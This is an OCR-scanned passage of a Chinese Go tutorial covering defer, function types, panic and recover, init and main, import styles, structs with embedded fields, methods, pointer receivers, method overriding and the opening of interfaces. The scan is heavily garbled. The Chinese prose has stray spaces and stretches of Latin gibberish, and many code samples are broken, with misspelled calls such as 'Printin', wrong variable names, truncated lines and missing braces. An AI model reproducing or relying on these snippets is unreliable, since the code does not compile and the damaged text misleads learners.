(内 存 和 时 间 ) 。 所 以 当 你 要 传递 大 的 结构 体 的 时 人 息 ， 用 指针 是 一 个 明智 的 选 
择 。 

e Go 语言 中 channel ， slice, 这 三 种 类 型 的 实现 机 制 类 似 指 针 ， 所 
以 可 以 直接 传递 ， 而 不 用 取 地 址 后 传递 指针 。 CE: ABBEY slice 的 
KE, Wie BAHU ewe eH) 


defer 


Go 语 训 中 有 种 不 错 的 设计 ， 即 延 迟 (defer) 语句 ， 你 可 以 在 本 数 中 添加 多 个 defer 
语句 。 当 本 数 执行 到 最 后 时 ， 这 些 defer 语 名 会 按照 递 序 执行 ， 最 后 该 本 数 返回 。 特 
别 是 当 你 在 进行 一 些 打 开 资 源 的 操作 时 ， 遇 到 错误 需要 提前 返回 ， 在 返回 前 你 需要 

关闭 相 点 的 资源 不 然 很 容易 造成 资源 泄露 等 问题 。 如 下 代码 所 示 ， 我 们 一 般 写 打 

开 一 个 资源 是 这 样 操作 的 : 


func Readwrite() bool { 
file.Open("file") 
XX WETE 
if failurex { 
file.Close() 
return false 


} 


if failurey { 
file.Close() 
return false 


} 


file.Close() 
return true 


我 们 看 到 上 面 有 很 多 重复 的 代码 ，Go 的 defer 有 效 解决 了 这 个 问题 。 使 用 它 后 ， 
不 但 代码 量 减少 了 很 多 ， 而 且 程序 变 得 更 优雅 。 在 defer 后 指定 的 函数 会 在 函数 
退出 前 调用 。 


func Readwrite() bool { 
file.Open("file") 
defer file.Close() 
if failurex { 
return false 


} 

if failurey { 
return false 

} 


return true 


如 果 有 很 多 调用 defer, AA defer 是 采用 后 进 先 出 模式 ， 所 以 如 下 代码 会 输 
出 43210 


TOR Aly 0 1 < 0 TE 
defer fmt.Printf("%d ", i) 
} 


西数 作为 值 、 类 型 


在 Go 中 图 数 也 是 一 种 变量 ， 我 们 可 以 通过 type 来 定义 它 ， 它 的 类 型 就 是 所 有 拥 
有 相同 的 人 参数， 相同 的 返回 值 的 一 种 类 型 


type typeName func(input1 inputType1 , input2 inputType2 [, ...]) 
al — 


BE y K BSI AT ARE ? 那 就 是 可 以 把 这 个 类 型 的 函数 当做 值 来 传递 ， 请 
看 下 面 的 例子 








package main 
import "fmt" 


type testInt func(int) bool // BAS —SWRK RH 
func isOdd(integer int) bool { 


if integer%2 == 0 { 
return false 


} 
return true 
} 
func isEven(integer int) bool { 
if integer%2 == 0 { 
return true 
return false 
} 


// 声明 的 函数 类 型 在 这 个 地 方 当 做 了 一 个 参数 


func filter(slice []int, f testInt) []int { 
var result []int 
for _, value := range slice { 
if f(value) { 
result = append(result, value) 
} 
} 


return result 


} 


func main(){ 
slice := [lint {1, 2, 3, 4, 5, 7} 
fmt.Println("slice = ", slice) 
odd := filter(slice, isOdd) // WAARA T 
fmt.Println("Odd elements of slice are: ", odd 
even := filter(slice, isEven) // WA 4 Makt ž T 
fmt.Println("Even elements of slice are: ", even) 


画 数 当 做 值 和 类 型 在 我 们 写 一 些 通用 接口 的 时 候 非 常 有 用 ， 通 过 上 面 例子 我 们 看 
到 testInt 这 个 类 型 是 一 个 画 数 类 型 ， 然 后 两 个 filter 画 数 的 参数 和 返回 值 
与 testInt 类 型 是 一 样 的 ， 但 是 我 们 可 以 实现 很 多 种 的 逻辑 ， 这 样 使 得 我 们 的 程 





Panic 和 Recover 


Go 没有 像 Java 那 样 的 异常 机 制 ， 它 不 能 抛 出 异常 ， 而 是 使 用 

了 panic 和 recover 机 制 。 一 定 要 记 住 ， 你 应 当 把 它 作 为 最 后 的 手段 来 使 用 ， 
也 就 是 说 ， 你 的 代码 中 应 当 没 有 ， 或 者 很 少 有 panic 的 东西 。 这 是 个 强大 的 工 
具 ， 请 明智 地 使 用 它 。 那 么 ， 我 们 应 该 如 何 使 用 它 呢 ? 


Panic 


一 个 内 建 画 数 ， 可 以 中 断 原 有 的 控制 流程 ， 进 入 一 个 令 人 了 恐慌 的 流程 中 。 当 
TERR GARR CORT a mee Eee, 
行 ， 然 后 F 返 回 到 调用 它 的 地 方 。 在 调用 的 地 方 ， F 的 行为 就 像 调 用 
了 panic 。 这 一 过 程 继续 向 上 ， 直 到 发 生 panic 的 goroutine 中 所 有 调用 
此 时 程序 退出 。 恐 慌 可 以 直接 调用 panic 产生 。 也 可 以 由 运行 
时 错误 产生 ， 例 如 访问 越界 的 数组 。 


Recover 


一 个 内 建 的 函数 ， 可 以 让 进入 合 人 恺 慌 的 流程 中 的 goroutine 恢复 过 
T recover SER KHARAM. HIERN, iF 
用 recover 会 返回 nil ， 并 且 没 有 其 它 任何 效果 。 如 果 当 前 
的 goroutine 陷入 恐慌 ， 调 用 recover 可 以 捕获 到 panic 的 输入 值 ， 并 且 
恢复 正常 的 执行 。 


下 面 这 个 画 数 演示 了 如 何在 过 程 中 使 用 panic 


var user = os.Getenv("USER") 


func init() { 
if user == "" { 
panic("no value for $USER") 
} 


下 面 画 数 检 查 作为 其 参数 的 函数 在 执行 时 是 否 会 产生 panic 


func throwsPanic(f func()) (b bool) { 
defer func() { 


if x := recover(); x != nil { 
b = true 
} 
}() 
f() // 执 行 画 数 f， 如 果 f 中 出 现 了 panic， 那 么 就 可 以 恢复 回来 
return 


main Maal init K 


Gog m8 A MRBEANR : init BAX (能 够 应 用 于 所 有 的 package ) 

和 main KH (只 能 应 用 于 package main ) 。 这 两 个 函数 在 定义 时 不 能 有 任何 
的 参数 和 返回 值 。 虽然 一 个 package 里 面 可 以 写 任 意 多 个 init HR, (RTL 
是 对 于 可 读 性 还 是 以 后 的 可 维护 性 来 说 ， 我 们 都 强烈 建议 用 户 在 一 个 package 中 
每 个 文件 只 写 一 个 init WR. 


Go 程序 会 自动 调用 init() 和 main() ， 所 以 你 不 需要 在 任何 地 方 调用 这 两 个 茵 
数 。 每 个 package 中 的 init 画 数 都 是 可 选 的 ， 但 package main 就 必须 包含 
一 个 main Wa, 


程序 的 初始 化 和 执行 都 起 始 于 main 包 。 如 果 main 包 还 导入 了 其 它 的 包 ， 那 么 

就 会 在 编译 时 将 它们 依次 导入 。 有 时 一 个 包 会 被 多 个 包 同 时 导入 ， 那 么 它 只 会 被 导 
入 一 次 (例如 很 多 包 可 能 都 会 用 到 fmt 包 ， 但 它 只 会 被 导入 一 次 ， 因 为 没有 必要 
导 人 多 次 ) 。 当 一 个 包 被 导入 时 ， 如 果 该 包 还 导入 了 其 它 的 包 ， 那 么 会 先 将 其 它 包 
导入 进来 ， 然 后 再 对 这 些 包 中 的 包 级 常量 和 变量 进行 初始 化 ， 接 着 执行 init BR 
(如 果 有 的 话 ) ， 依 次 类 推 。 等 所 有 被 导入 的 包 都 加 载 完 毕 了 ， 就 会 开始 

对 main 包 中 的 包 级 常量 和 变量 进行 初始 化 ， 然 后 执行 main 包 中 的 init WHR 

(如 果 存 在 的 话 ) ， 最 后 执行 main 画 数 。 下 图 详细 地 解释 了 整个 执行 过 程 : 


图 2.6 main 函 数 引 入 包 初 始 化 流程 图 
import 


我 们 在 写 Go 代 码 的 时 候 经 常用 到 import 这 个 命令 用 来 导入 包 文 件 ， 而 我 们 经 常 看 到 
的 方式 参考 如 下 : 


import( 
" fmt " 
) 


然后 我 们 代码 里 面 可 以 通过 如 下 的 方式 调用 


fmt.Println("hello world") 


上 面 这 个 fmt 是 Go 语言 的 标准 库 ， 其 实 是 去 GOROOT 环境 变量 指定 目录 下 去 加 载 该 
模块 ， 当 然 Go 的 import 还 支持 如 下 两 种 方式 来 加 载 自己 写 的 模块 : 


1. 相对 路 径 


import “./model” /当前 文件 同一 目录 的 model 目 录 ， 但 是 不 建议 这 种 方式 来 
import 


import “shorturl/model’” /加 载 gopath/src/shorturymodel 模 块 
上 面 展 示 了 一 些 import 常 用 的 几 种 方式 ， 但 是 还 有 一 些 特殊 的 import， 让 很 多 新 手 
很 费解 ， 下 面 我 们 来 一 一 讲解 一 下 到 底 是 怎么 一 回 事 


1. 点 操作 
我 们 有 时 候 会 看 到 如 下 的 方式 导入 包 


import( 
. "fmt" 
) 


YS BERENS LME TTEA LAERA NEAN, MASH 
ed 也 就 是 前 面 你 调用 的 fmt.Println("hello world") 可 以 省 略 的 写成 


Printin( hello world") 


2. 别名 操作 
名 操作 顾名思义 我 们 可 以 把 包 命 名 成 另 一 个 我 们 用 起 来 容易 记忆 的 名 字 


import( 
f "fmt" 
) 


组 ， 即 f.Println("hello world") 


别名 操作 的 话 调用 包 函 数 时 前 级 变 成 了 我 们 的 前 


3. _ 操 作 
这 个 操作 经 常 是 让 很 多 人 费 解 的 一 个 操作 符 ， 请 看 下 面 这 个 import 
import ( 


"database/sql" 
"github.com/ziutek/mymysql/godrv" 


_ 操 作 其 实 是 引入 该 包 ， 而 不 直接 使 用 包 里 面 的 函数 ， 而 是 调用 了 该 包 里 面 的 
initEy 2X. 


一 章 : Go 基础 
节 : struct 类 型 


2.4 struct 类 型 


struct 


Go 语言 中 ， 也 和 C 或 者 其 他 话 言 一 样 ， 我 们 可 以 声明 新 的 类 型 ， 作 为 其 它 类 型 的 属 
性 或 字段 的 容器 。 例 如 ， 我 们 可 以 创建 一 个 自 定义 类 型 person 代表 一 个 人 的 实 
体 。 这 个 实体 拥有 属性 : 姓名 和 年 龄 。 这 样 的 类 型 我 们 称 之 struct 。 如 下 代码 所 
示 : 


type person struct { 
name string 
age int 


看 到 了 吗 ? 声明 一 个 struct 如 此 简单 ， 上 面 的 类 型 包含 有 两 个 字段 


e 一 个 string 类 型 的 字段 name， 用 来 保存 用 户 名 称 这 个 属性 
e 一 个 int 类 型 的 字段 age, 用 来 保存 用 户 年 龄 这 个 属性 


如 何 使 用 struct 呢 ?请 看 下 面 的 代码 


type person struct { 
name string 
age int 
} 
var P person // P 现 在 就 是 person 类 型 的 变量 了 
P.name = "Astaxie" // 赋值 "Astaxie" 给 P 的 name 属 性 ， 


P.age = 25 // 赋值 "25" 给 变量 P 的 age 属性 
fmt.Printf("The person's name is %s", P.name) // 访问 P 的 name 属 性 . 


除了 上 面 这 种 P 的 声明 使 用 之 外 ， 还 有 另外 几 种 声明 使 用 方式 : 
o 1. 按 照 顺序 提供 初始 化 值 
P := person{"Tom", 25} 
e 2. 通 过 field:value 的 方式 初始 化 ， 这 样 可 以 任意 顺序 
P := person{age:24, name:"Tom"} 
e 3. 当 然 也 可 以 通过 new WAAC MEH, RPH k E A*person 


P := new(person) 


下 面 我 们 看 一 个 完整 的 使 用 struct 的 例子 


package main 
import "fmt" 


// 声明 一 个 新 的 类 型 
type person struct { 
name string 

age int 


} 


// 比较 两 个 人 的 年 龄 ， 返 回 年 龄 大 的 那个 人 ， 并 且 返 回 年 龄 差 
// struct 也 是 传 值 的 
func Older(pi, p2 person) (person, int) { 
if pl.age>p2.age { // 比较 p1 和 p2 这 两 个 人 的 年 龄 
return p1, pi.age-p2.age 
} 


return p2，p2.age-p1.age 
} 


func main() { 
var tom person 


// 赋值 初始 化 
tom.name, tom.age = "Tom", 18 


// 两 个 字段 都 写 清楚 的 初始 化 
bob := person{age:25, name:"Bob"} 


// 按照 struct 定 义 顺序 初始 化 值 
paul := person{"Paul", 43} 


tb_Older, tb_diff 
tp_Older, tp_diff 
bp_Older, bp_diff 


Older(tom, bob) 
Older(tom, paul) 
Older(bob, paul) 


fmt.Printf("Of %s and %s, %s is Older by %d years\n", 
tom.name, bob.name, tb_Older.name, tb_diff) 


fmt.Printf("Of %s and %s, %s is older by %d years\n", 
tom.name, paul.name, tp_Older.name, tp_diff) 


fmt.Printf("Of %s and %s, %S is older by %d years\n", 
bob.name, paul.name, bp_Older.name, bp diff) 


struct 的 匿名 字段 


我 们 上 面 介 绍 了 如 何 定义 一 个 struct， 定 义 的 时 候 是 字段 名 与 其 类 型 一 一 对 应 ， 实 
际 上 Go 支持 只 提供 类 型 ， 而 不 写字 段 名 的 方式 ， 也 就 是 匿名 字段 ， 也 称 为 嵌入 字 


段 。 


当 匿 名 字段 是 一 个 struct 的 时 候 ， 那 么 这 个 struct 所 拥有 的 全 部 字段 都 被 隐 式 地 引信 
了 当前 定义 的 这 个 struct。 


让 我 们 来 看 一 个 例子 ， 让 上 面 说 的 这 些 更 具体 化 


package main 
import "fmt" 


type Human struct { 
name string 
age int 
weight int 


} 


type Student struct { 
Human // 匿名 字段 ， 那 么 默认 Student 就 包含 了 Human 的 所 有 字段 
Speciality string 


} 


func main() { 
// 我 们 初始 化 一 个 学 生 
mark := Student{Human{"Mark", 25, 120}, "Computer Science"} 


// 我 们 访问 相应 的 字段 

fmt.Printlin("His name is ", mark.name) 
fmt.Printin("His age is ", mark.age) 
fmt.Printin("His weight is ", mark.weight) 
fmt.Println("His speciality is ", mark.speciality) 
// 修改 对 应 的 备注 信息 

mark.speciality = "AI" 

fmt.Printin("Mark changed his speciality") 
fmt.Println("His speciality is ", mark.speciality) 
// 修改 他 的 年 龄 信息 

fmt.Println("Mark become old") 

mark.age = 46 

fmt.Printin("His age is", mark.age) 

// 修改 他 的 体重 信息 

fmt.Printin("Mark is not an athlet anymore") 
mark.weight += 60 

fmt.Printin("His weight is", mark.weight) 


图 例如 下 : 


图 2.7 Student 和 Human 的 方法 继承 


我 们 看 到 Student 访 问 属性 age 和 name 的 时 候 ， 就 像 访问 自己 所 有 用 的 字段 一 样 ， 

对 ， 匿 名 字段 就 是 这 样 ， 能 够 实现 字段 的 继承 。 是 不 是 很 酷 啊 ? 还 有 比 这 个 更 酷 的 
呢 ， 那 就 是 student 还 能 访问 Human 这 个 字段 作为 字段 名 。 请 看 下 面 的 代码 ， 是 不 
是 更 酷 了 。 


mark.Human = Human{"Marcus", 55, 220} 
mark.Human.age -= 


通过 匿名 访问 和 修改 字段 相当 的 有 用 ， 但 是 不 仅仅 是 struct 字 段 哦 ， 所 有 的 内 和 置 类 
型 和 自 定义 类 型 都 是 可 以 作为 匿名 字段 的 。 请 看 下 面 的 例子 


package main 
import "fmt" 


type Skills []string 


type Human struct { 
name string 
age int 
weight int 


} 


type Student struct { 
Human // EZF, struct 
Skills // 匿名 字段 ， 自 定义 的 类 型 string slice 
int // 内 置 类 型 作为 匿名 字段 
speciality string 


} 


func main() { 
// 初始 化 学 生 Jane 
jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biol 
// 现在 我 们 来 访问 相应 的 字段 
fmt.Println("Her name is ", jane.name) 
fmt.Println("Her age is ", jane.age) 
fmt.Printin("Her weight is ", jane.weight) 
fmt.Println("Her speciality is ", jane.speciality) 
// 我 们 来 修改 他 的 ski11 技 能 字段 
jane.Skills = []string{"anatomy"} 
fmt.Printlin("Her skills are ", jane.Skills) 
fmt.Printin("She acquired two new ones ") 
jane.Skills = append(jane.Skills, "physics", "golang") 
fmt.Printin("Her skills now are ", jane.Skills) 
// 修改 匿名 内 置 类 型 字段 
jane.int = 3 
fmt.Printlin("Her preferred number is", jane.int) 











从 上 面 例子 我 们 看 出 来 struct 不 仅仅 能 够 将 struct 作 为 匿名 字段 、 自 定义 类 型 、 内 置 
ep ahs 而 且 可 以 在 相应 的 字段 上 面 进行 画 数 操作 (如 例子 中 的 
append) 。 


这 里 有 一 个 问题 : 如 果 human 里 面 有 一 个 字段 叫做 phone， 而 student 也 有 一 个 字段 
叫做 phone， 那 么 该 怎么 办 呢 ? 


Go 里 面 很 简单 的 解决 了 这 个 问题 ， 最 外 层 的 优先 访问 ， 也 就 是 当 你 通 
过 student.phone 访问 的 时 候 ， 是 访问 student 里 面 的 字段 ， 而 不 是 human 里 面 的 
字段 。 


这 样 就 允许 我 们 去 重 载 通过 匿名 字段 继承 的 一 些 字段 ， 当 然 如 果 我 们 想 访 问 重 载 后 
对 应 匿名 类 型 里 面 的 字段 ， 可 以 通过 匿名 字段 名 来 访问 。 请 看 下 面 的 例子 


package main 
import "fmt" 


type Human struct { 

name string 

age int 

phone string // Human 类 型 拥有 的 字段 
} 


type Employee struct { 
Human // 匿名 字段 Human 
Speciality string 
phone string // 履 员 的 phone 字 段 
} 


func main() { 
Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", ' 
fmt.Println("Bob's work phone is:", Bob.phone) 
// 如 果 我 们 要 访问 Human 的 phone 字 上 段 
fmt.Println("Bob's personal phone is:", Bob.Human.phone) 





2.5 面向 对 象 


前 面 两 章 我 们 介绍 函数 和 struct， 那 你 是 否 想 过 函数 当 作 struct 的 字段 一 样 来 处 理 
呢 ? 今天 我 们 就 讲解 一 下 加 数 的 另 一 aes 2 EIS RL, 我 们 称 
为 method 


method 


现在 假设 有 这 么 一 个 场景 ， 你 定义 了 一 个 struct 叫 做 长 方形 ， 你 现在 想 要 计算 他 的 
面积 ， 那 么 按照 我 们 一 般 的 思路 应 该 会 用 下 面 的 方式 来 实现 


package main 
import "fmt" 


type Rectangle struct { 
width, height float64 
} 


func area(r Rectangle) float64 { 
return r.width*r.height 
} 


func main() { 
ri := Rectangle{12, 2} 
r2 := Rectangle{9, 4} 
fmt.Printin("Area of r1 is: ", area(r1)) 
fmt.Println("Area of r2 is: ", area(r2)) 


这 段 代 码 可 以 计算 出 来 长 方形 的 面积 ， 但 是 area() 不 是 作为 Rectangle 的 方法 实现 的 
(类 似 面 向 对 象 里 面 的 方法 ) ， 而 是 将 Rectangle 的 对 象 (如 r1,r2) 作为 参数 传 入 
函数 计算 面积 的 。 


这 样 实现 当 然 ; 有 有 问题 咯 ， 但 是 当 需 要 增加 圆 形 、 正方 形 、 五 边 形 甚至 其 它 多 边 形 
的 时 候 ， 你 想 计算 他 们 的 面积 的 时 候 怎 么 办 啊 ? 那 就 只 能 增加 新 的 函数 咯 ， 但 是 函 
数 名 你 就 必须 要 跟着 换 了 ， X 


成 area_rectangle, area_circle, area_triangle... 


像 下 图 所 表示 的 那样 ， 椭圆 代表 函数 , 而 这 些 函 数 并 不 从 属于 struct( 或 者 以 面向 对 
知 来 说 ， 并 不 属于 class)， 他 们 是 单独 存在 于 struct 外 图， 而 非 在 概念 上 属于 
个 struct 的 。 


图 2.8 方法 和 struct 的 关系 图 


很 显然 ， 这 样 的 实现 并 不 优雅 ， 并 且 从 概念 上 来 说 "面积 "是 "形状 "的 一 个 属性 ， 
是 属于 这 个 特定 的 形状 的 ， 就 像 长 方形 的 长 和 宽 一 样 。 


基于 上 面 的 原因 所 以 就 有 了 method 的 概念 ， method 是 附属 在 一 个 给 r 
A, ERNE AARAA ASLE, RE func 后 面 增加 了 一 
receiver( 也 就 是 method 所 依从 的 主体 )。 


用 上 面 提 到 的 形状 的 例子 来 说 ，method area() 是 依赖 于 某 个 形状 (比如 说 
Rectangle) 来 发 生 作 用 的 。Rectangle.area() 的 发 出 者 是 Rectangle， area() 是 属于 
Rectangle 的 方法 ， 而 非 一 个 外 转 豆 数 。 


更 具体 地 说 ，Rectangle 存 在 字段 length 和 width, 同时 存在 方法 area(), 这 些 字 段 和 
方法 都 属于 Rectangle。 


用 Rob Pike 的 话 来 说 就 是 : 
"A method is a function with an implicit first argument, called a receiver." 


method 的 语法 如 下 : 


func (r ReceiverType) funcName(parameters) (results) 


下 面 我 们 用 最 开始 的 例子 用 method 来 实现 : 


package main 


import ( 
" fmt " 
"math" 
) 


type Rectangle struct { 
width, height float64 


} 


type Circle struct { 
radius float64 


} 


func (r Rectangle) area() float64 { 
return r.width*r.height 


} 


func (c Circle) area() float64 { 
return c.radius * c.radius * math.Pi 


} 


func main() { 


ri := Rectangle{12, 2} 

r2 := Rectangle{9, 4} 

c1 := Circle{10} 

c2 := Circle{25} 

fmt.Println("Area of ri is: ", ri.areal 


了 
fmt.Printin("Area of r2 is: ", r2.area( 
fmt.Printin("Area of ci is: ", c1.area( 
fmt.Println("Area of c2 is: ", c2.area( 


es Ne NO OS 
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在 使 用 method 的 时 候 重 要 注意 几 点 


e 虽然 method 的 名 字 一 模 一 样 ， 但 是 如 果 接 收 者 不 一 样 ， 那 么 method 就 不 一 样 
e method 里 面 可 以 访问 接收 者 的 字段 
e 调用 method 通 过 . 访问 ， 就 像 struct 里 面 访 问 字段 一 样 


图 示 如 下 : 


图 2.9 不 同 struct 的 method 不 同 


在 上 例 ，method area() 分 别 属 于 Rectangle 和 Circle， 于 是 他 们 的 Receiver 就 变 成 
T Rectangle 和 Circle, 或 者 说 ， 这 个 areal() 方 法 是 由 Rectangle/Circle 发 出 的 。 


值得 说 明 的 一 点 是 ， 图 示 中 method 用 虚线 标 出 ， 意 思 是 此 你 方法 的 Receiver 是 
以 值 传 递 ， 而 非 引 用 传递 ， 是 的 ，Receiver 还 可 以 是 指针 , 两 者 的 差别 在 于 , 指 
针 作 为 Receiver 会 对 实例 对 象 的 内 容 发 生 操 作 , 而 普通 类 型 作为 Receiver 仅 仅 是 
以 副本 作为 操作 对 象 ,并 不 对 原 实例 对 象 发 生 操 作 。 后 文 对 此 会 有 详细 论述 。 
那 是 不 是 method 只 能 作用 在 struct 上 面 呢 ? 当然 不 是 咯 ， 他 可 以 定义 在 任何 你 自 定 
义 的 类 型 、 内 和 置 类 型 、struct 等 各 种 类 型 上 面 。 这 里 你 是 不 是 有 点 迷糊 了 ， 什 么 叫 
自 定义 类 型 ， 自 定义 类 型 不 就 是 struct 嘛 ， 不 是 这 样 的 哦 ，struct 只 是 自 定义 类 型 里 
De en 还 有 其 他 自 定 义 类 型 申明 ， 可 以 通过 如 下 这 样 的 申明 
来 实现 。 


type typeName typeLiteral 


请 看 下 面 这 个 申明 自 定义 类 型 的 代码 


type ages int 
type money float32 
type months map[string]int 


m := months { 
"January":31, 
"February":28, 


"December": 31, 


看 到 了 吗 ? 简单 的 很 吧 ， 这 样 你 就 可 以 在 自己 的 代码 里 面 定 义 有 意义 的 类 型 了 ， 实 
际 上 只 是 一 个 定义 了 一 个 别名 ,有 点 类 似 于 c 中 的 typedef， 例 如 上 面 ages 蔡 代 了 int 


好 了 ， 让 我 们 回 到 method 


你 可 以 在 任何 的 自 定义 类 型 中 定义 任意 多 的 method ， 接 下 来 让 我 们 看 一 个 复 条 一 
点 的 例子 


package main 
import "fmt" 


const ( 
WHITE = iota 
BLACK 
BLUE 
RED 
YELLOW 
) 


type Color byte 


type Box struct { 
width, height, depth float64 
color Color 


} 


type BoxList []Box //a slice of boxes 


func (b Box) Volume() float64 { 
return b.width * b.height * b.depth 


} 


func (b *Box) SetColor(c Color) { 
b.color = c 


} 
func (bl BoxList) BiggestColor() Color { 
v := 0.00 
k := Color(WHITE) 
for _, b := range bl { 
if bv := b.Volume(); bv >v { 
v = bv 
k = b.color 
} 
} 
return k 
} 
func (bl BoxList) PaintItBlack() { 
for i, _ := range bl { 
b1[i].SetColor (BLACK) 
} 
} 
func (c Color) String() string { 
strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW". 
return strings[c] 
} 
func main() { 


boxes := BoxList { 
Box{4, 4, 4, RED}, 
Box{10, 10, 1, YELLOW}, 
Box{1, 1, 20, BLACK}, 
Box{10, 10, 1, BLUE}, 
Box{10, 30, 1, WHITE}, 
Box{20, 20, 20, YELLOW}, 


fmt.Printf("We have %d boxes in our set\n", len(boxes) ) 

fmt.Printin("The volume of the first one is", boxes[0].Volume(- 
fmt.Printin("The color of the last one is", boxes[len(boxes) -1] 
fmt.Printin("The biggest one is", boxes.BiggestColor().String(. 


fmt.Printin("Let's paint them all black") 
boxes.PaintItBlack() 


fmt.Printin("The color of the second one is", boxes[1].color.St 


fmt.Printin("Obviously, now, the biggest one is", boxes.Biggesi 


} 
上 面 的 代码 通过 const 定 义 了 一 些 常量 ， 然 后 定义 了 一 些 自 定义 类 型 


e Color 作 为 byte 的 别名 
e 定义 了 一 个 struct:Box， 含 有 三 个 长 宽 高 字段 和 一 个 颜色 属性 
e 定义 了 一 个 slice:BoxList， 含 有 Box 


然后 以 上 面 的 自 定 义 类 型 为 接收 者 定义 了 一 些 method 


e Volume() 定 义 了 接收 者 为 Box， 返 回 Box 的 容量 
e SetColor(c Colonm， 把 Box 的 颜色 改 为 c 
e BiggestColor() 定 在 在 BoxList 上 面 ， 返 回 list 里 面容 量 最 大 的 颜色 








PaintltBlack() 把 BoxList 里 面 所 有 Box 的 颜色 全 部 变 成 黑色 
String() 定 义 在 Color 上 面 ， a 


上 面 的 代码 通过 文字 描述 出 来 之 后 是 不 是 很 简单 ? 我 们 一 般 解 决 问题 都 是 通过 问题 
的 描述 ， 去 写 相 应 的 代码 实现 。 


指针 作为 receiver 


现在 让 我 们 回 过 头 来 看 看 SetColor 这 个 method， 它 的 receiver 是 一 个 指向 Box 的 指 
针 ， 是 的 ， 你 可 以 使 用 *Box。 想 想 为 只 要 使 用 指针 而 不 是 Box 本 身 呢 ? 


我 们 定义 SetColor 的 真正 目的 是 想 改 变 这 个 Box 的 颜色 ， 如 果 不 传 Box 的 指针 ， 
SetColor 接 受 的 其 实 是 Box 的 一 个 copy， 也 就 是 说 method 内 对 于 颜色 值 的 修改 ， 其 
实 只 作用 于 Box 的 copy， 而 不 是 真正 的 Box。 所 以 我 们 需要 传人 指针 。 


这 里 可 以 把 receiver 当 作 method 的 第 一 个 参数 来 看 ， 然 后 结合 前 面 本 数 讲解 的 传 值 
和 传 引用 就 不 难 理解 


这 里 你 也 许 会 问 了 那 SetColor 函 数 里 面 应 该 这 样 定义 *b.Color=c ,而 不 
是 b.Color=c ,因为 我 们 需要 读 取 到 指针 相应 的 值 。 


你 是 对 的 ， 其 实 Go 里 面 这 两 种 方式 都 是 正确 的 ， 当 你 用 指针 去 访问 相应 的 字段 时 
(虽然 指针 没有 任何 的 字段 )，Go 知 道 你 要 通过 指针 去 获取 这 个 值 ， 看 到 了 吧 ，Go 的 
设计 是 不 是 越 来 越 吸引 你 了 。 

也 许 细心 的 读者 会 问 这 样 的 问题 ，PaintltBlack 里 面 调用 SetColor 的 时 候 是 不 是 应 该 
写成 (&b1l[i]).SetColor(BLACK) ， 因 为 SetColor 的 receiver 是 *Box， 而 不 是 
Box。 


你 又 说 对 的 ， 这 两 种 方式 都 可 以 ， 因 为 Go 知道 receiver 是 指针 ， 他 自动 帮 你 转 了 。 


也 就 是 说 : 
如 果 一 个 method 的 receiver 是 *T, 你 可 以 在 一 个 T 类 型 的 实例 变量 V 上 面 调用 这 个 
method， 而 不 需要 &V 去 调用 这 个 method 

类 似 的 
如 果 一 个 method 的 receiver 是 T， 你 可 以 在 一 个 了 类 型 的 变量 P 上 面 调用 这 个 
method， 而 不 需要 P 去 调用 这 个 method 


所 以 ， 你 不 用 担心 你 是 调用 的 指针 的 method 还 是 不 是 指针 的 method，Go 知 道 你 要 
做 的 一 切 ， 这 对 于 有 多 年 C/C++ 编程 经 验 的 同学 来 说 ， 真 是 解决 了 一 个 很 大 的 痛 
To 


method 继 承 
前 面 一 章 我 们 学 习 了 字段 的 继承 ， 那 么 你 也 会 发 现 Go 的 一 个 神奇 之 处 ，method 也 


是 可 以 继承 的 。 如 果 匿 名 字段 实现 了 一 个 method， 那 么 包含 这 个 匿名 字段 的 struct 
也 能 调用 该 method。 让 我 们 来 看 下 面 这 个 例子 


package main 
import "fmt" 


type Human struct { 
name string 
age int 
phone string 


} 


type Student struct { 
Human //B4 FF 
school string 


} 


type Employee struct { 
Human // EZ FF 
company string 


// 在 human 上 面 定义 了 一 个 method 
func (h *Human) SayHi() { 

fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phc 
} 


func main() { 
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} 
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc". 


mark .SayHi() 
sam.SayHi() 





method 重 写 


上 面 的 例子 中 ， 如 果 Employee 想 要 实现 自己 的 SayHi, 怎 么 办 ? 简单 ， 和 匿名 字段 ， 
突 一 样 的 道理 ， 我 们 可 以 在 Employee 上 面 定义 一 个 method， 重 写 了 匿名 字段 的 方 
法 。 请 看 下 面 的 例子 


package main 
import "fmt" 


type Human struct { 
name string 
age int 
phone string 


} 


type Student struct { 
Human //B4 FF 
school string 


} 


type Employee struct { 
Human // EZ FF 
company string 


//Human 定 义 method 
func (h *Human) SayHi() { 

fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phc 
} 


//Employee 的 method 重 守 Human 的 method 
func (e *Employee) SayHi() { 
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name 
e.company, e.phone) //Yes you can split into 2 lines here. 


} 


func main() { 
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} 
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc". 


mark .SayHi() 
sam.SayHi() 





上 面 的 代码 设计 的 是 如 此 的 美妙 ， 让 人 不 自觉 的 为 Go 的 设计 惊叹 ! 
通过 这 些 内 容 ， 我 们 可 以 设计 出 基本 的 面向 对 象 的 程序 了 ， 但 是 Go 里 面 的 面向 对 象 


是 如 此 的 简单 ， 没 有 任何 的 私有 、 公 有 关键 字 ， 通 过 大 小 写 来 实现 (大 写 开 头 的 为 公 
有 ， 人 小写 开头 的 为 私有 )， 方 法 也 同样 适用 这 个 原则 。 


links 


e Ax 


e 上 一 章 : struct 类 型 


Go Web 编程 


e 下 一 节 : interface 


面向 对 象 
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2.6 interface 


interface 


Go 语言 里 面 设 计 最 精妙 的 应 该 算 interface， 它 让 面向 对 象 ， 内 容 组 织 实现 非常 的 方 
便 ， 当 你 看 完 这 一 章 ， 你 就 会 被 interface 的 巧妙 设计 所 折服 。 


什么 是 interface 


简单 的 说 ，interface 是 一 组 method 的 组 合 ， 我 们 通过 interface 来 定义 对 象 的 一 组 行 
为 。 


我 们 前 面 一 章 最 后 一 个 例子 中 Student 和 Employee 都 能 SayHi， 虽 然 他 们 的 内 部 实 
现 不 一 样 ， 但 是 那 不 重 要 ， 重 要 的 是 他 们 都 能 say hi 


